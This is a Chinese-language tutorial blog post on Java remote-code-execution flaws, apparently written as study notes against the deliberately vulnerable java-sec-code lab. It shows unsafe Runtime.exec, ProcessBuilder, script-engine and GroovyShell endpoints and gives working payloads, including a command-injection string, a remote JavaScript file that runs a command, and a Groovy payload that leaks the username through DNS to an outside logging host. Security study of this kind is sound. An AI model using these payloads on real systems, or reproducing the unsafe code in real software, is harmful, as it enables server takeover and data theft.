Java安全_RCE漏洞

[!NOTE]

本次学习使用开源项目:
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java

使用工具:
浏览器

IDEA

✅ 什么是 RCE 漏洞?

RCE(远程代码执行)指的是:

攻击者利用服务器应用程序中的某些漏洞,将恶意代码传输到服务器,并在服务器上以服务器权限执行这些代码

简而言之,就是攻击者“远程控制服务器执行命令”,可以做几乎任何操作

  • 读写文件
  • 远程控制
  • 添加后门
  • 窃取数据库数据
  • 横向渗透、内网打点

🎯 典型攻击场景

以下是几种常见导致 RCE 漏洞的场景:


命令注入

Java 中使用 Runtime.exec()ProcessBuilder 时拼接了用户输入:

String cmd = "ping " + userInput; Runtime.getRuntime().exec(cmd); 

如果用户输入的是:

127.0.0.1 && whoami 

最终执行命令为:

ping 127.0.0.1 && whoami 

服务器会在 ping 后执行 whoami,泄露系统身份。

🤞以下为集中典型RCE漏洞代码场景

1、Runtime

@RequestMapping("/rce") public class Rce {     @GetMapping("/runtime/exec")     public String CommandExec(String cmd) {         Runtime run = Runtime.getRuntime();         StringBuilder sb = new StringBuilder();          try {             Process p = run.exec(cmd);             BufferedInputStream in = new BufferedInputStream(p.getInputStream());             BufferedReader inBr = new BufferedReader(new InputStreamReader(in));             String tmpStr;              while ((tmpStr = inBr.readLine()) != null) {                 sb.append(tmpStr);             }              if (p.waitFor() != 0) {                 if (p.exitValue() == 1)                     return "Command exec failed!!";             }              inBr.close();             in.close();         } catch (Exception e) {             return e.toString();         }         return sb.toString();     } } 

通过查看代码发现,进入函数执行的URi为 /rce/runtime/exec

@RequestMapping("/rce") public class Rce {     @GetMapping("/runtime/exec")     public String CommandExec(String cmd) { 

传入参数为cmd,因此构造payloadhttp://127.0.0.1:8081/rce/runtime/exec?cmd=cmd /c dir

这段代码完全没有对用户传入的 cmd 参数做任何校验或过滤,使得攻击者可以通过浏览器或 HTTP 客户端构造如下 URL,实现远程命令执行

public String CommandExec(String cmd) {         Runtime run = Runtime.getRuntime();         StringBuilder sb = new StringBuilder();          try {             Process p = run.exec(cmd);         } 

为什么Runtime.getRuntime无法直接执行dir,而是cmd /c dir?

理解这个很重要

Runtime.getRuntime.exec的部分调用链

Runtime.getRuntime.exec() 	java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File) 		java.lang.ProcessBuilder#start 			java.lang.SecurityManager#checkExec     			java.lang.ProcessImpl#ProcessImpl 

其中如下java.lang.ProcessBuilder#start部分代码如下

 public Process start() throws IOException {         // Must convert to array first -- a malicious user-supplied         // list might try to circumvent the security check.         String[] cmdarray = command.toArray(new String[command.size()]);         cmdarray = cmdarray.clone();          for (String arg : cmdarray)             if (arg == null)                 throw new NullPointerException();         // Throws IndexOutOfBoundsException if command is empty         String prog = cmdarray[0];  //这里会找到["cmd","/c","dir"]第一个元素,也就是cmd,然后丢给security.checkExec(prog);         SecurityManager security = System.getSecurityManager();         if (security != null)             security.checkExec(prog); 

其中的java.lang.SecurityManager#checkExec如下

    public void checkExec(String cmd) {         File f = new File(cmd);         if (f.isAbsolute()) {             checkPermission(new FilePermission(cmd,                 SecurityConstants.FILE_EXECUTE_ACTION));         } else {             checkPermission(new FilePermission("<<ALL FILES>>",                 SecurityConstants.FILE_EXECUTE_ACTION));         }     } 

其中的java.lang.ProcessImpl#ProcessImpl部分代码如下

        if (allowAmbiguousCommands && security == null) {             // Legacy mode.              // Normalize path if possible.             String executablePath = new File(cmd[0]).getPath();              // No worry about internal, unpaired ["], and redirection/piping.             if (needsEscaping(VERIFICATION_LEGACY, executablePath) )                 executablePath = quoteString(executablePath);              cmdstr = createCommandLine(                 //legacy mode doesn't worry about extended verification                 VERIFICATION_LEGACY,                 executablePath,                 cmd);         } else {             String executablePath;             try {                 executablePath = getExecutablePath(cmd[0]);             } 

经过分析可以知道,Runtime.getRuntime().exec(cmd)的命令执行路径大致为

Runtime --> ProcessBuilder --> ProcessImpl 

其中,命令cmd /c dir会被转为List数组,其中数组的第一个元素cmd为可执行文件的名称,最终将可执行文件名称交给ProcessBuilder进行下一步调用

那么可以得出结论:第一个元素的名字必须能在系统变量Path中找到,这就是为什么不能直接使用dir等命令的原因了

如系统变量Path中有Bandizip的目录,那么传入http://localhost:8081/rce/runtime/exec?cmd=Bandizip,成功执行Bandizip

Java安全_RCE漏洞

2、ProcessBuilder

ProcessBuilder顾名思义为进程构建器,函数接收包含一个或多个String类型元素的List,或者String类型的可变参数

数组的第一个元素为要执行的应用程序的名称,后续元素为执行时的参数

在Windows中,默认第一个参数为cmd,Linux中则需要手动指定

@RequestMapping("/rce") public class Rce { @GetMapping("/ProcessBuilder")     public String processBuilder(String cmd) {          StringBuilder sb = new StringBuilder();          try {            // String[] arrCmd = {"/bin/sh", "-c", cmd};  //linux             String[] arrCmd = {cmd};                 //windows,windos下无需指定             ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);             Process p = processBuilder.start();             BufferedInputStream in = new BufferedInputStream(p.getInputStream());             BufferedReader inBr = new BufferedReader(new InputStreamReader(in));             String tmpStr;             while ((tmpStr = inBr.readLine()) != null) {                 sb.append(tmpStr);             }         } catch (Exception e) {             return e.toString();         }          return sb.toString();     } } 

通过查看代码发现,命令执行部分如下,且发现从cmd参数传入,一直到processBuilder.start()都没有对执行的命令进行任何过滤

因此,可以通过控制传入cmd参数执行攻击者想要的任何命令

        try {            // String[] arrCmd = {"/bin/sh", "-c", cmd};  //linux             String[] arrCmd = {cmd};                 //windows,windos下无需指定             ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);             Process p = processBuilder.start(); 

查看注释上的路由,构造URi为http://localhost:8081/rce/ProcessBuilder?cmd=whoami

成功执行命令

Java安全_RCE漏洞

3、ScriptEngineManager

存在漏洞的代码

    @GetMapping("/jscmd")     public void jsEngine(String jsurl) throws Exception{         // js nashorn javascript ecmascript         ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");         Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎         String cmd = String.format("load("%s")", jsurl);         engine.eval(cmd, bindings);     } 

加载一个JS引擎

        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");         Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎 

使用JS引擎执行命令,这里使用load()从远程加载JS文件

所以我们可以把恶意payload写在远程js文件中,经由JS引擎加载之后执行恶意命令,进而实现RCE

远程恶意JS模板

function mainOutput() {     var x=java.lang.Runtime.getRuntime().exec("open -a Calculator"); } var a = mainOutput();  

注意!!!:根据不同的Script引擎,可能会有不同的执行效果

这里起一个python simple httpserver,然后放入恶意js文件,然后构造一个恶意Payloadhttp://localhost:8081/rce/jscmd?jsurl=http://127.0.0.1:9090/1.js,成功执行恶意payload

Java安全_RCE漏洞

4、Groovy

Groovy 是一种基于 Java 平台动态脚本语言,语法简洁、灵活,兼容 Java,并能与 Java 无缝集成。可以把 Groovy 看成是 “更轻量、更灵活的 Java”。

如果不安全的Groovy接口由用户可控,那么就很容易造成RCE漏洞

示例代码

    @GetMapping("groovy")     public void groovyshell(String content) {         GroovyShell groovyShell = new GroovyShell();         groovyShell.evaluate(content);     } 

上述代码开启了一个GroovyShell,并且执行的参数用户可控

因此可以构造Payload执行Groovy命令,构造

def cmd="cmd /c ping %USERNAME%.your.dnslog.cn" cmd.execute() 

经过URL编码后为

def%20cmd%3D%22cmd%20/c%20ping%20%25USERNAME%25.your.dnslog.cn%22%0Acmd.execute%28%29 

最终成功触发DNS回显验证

Java安全_RCE漏洞

发表评论

评论已关闭。

相关文章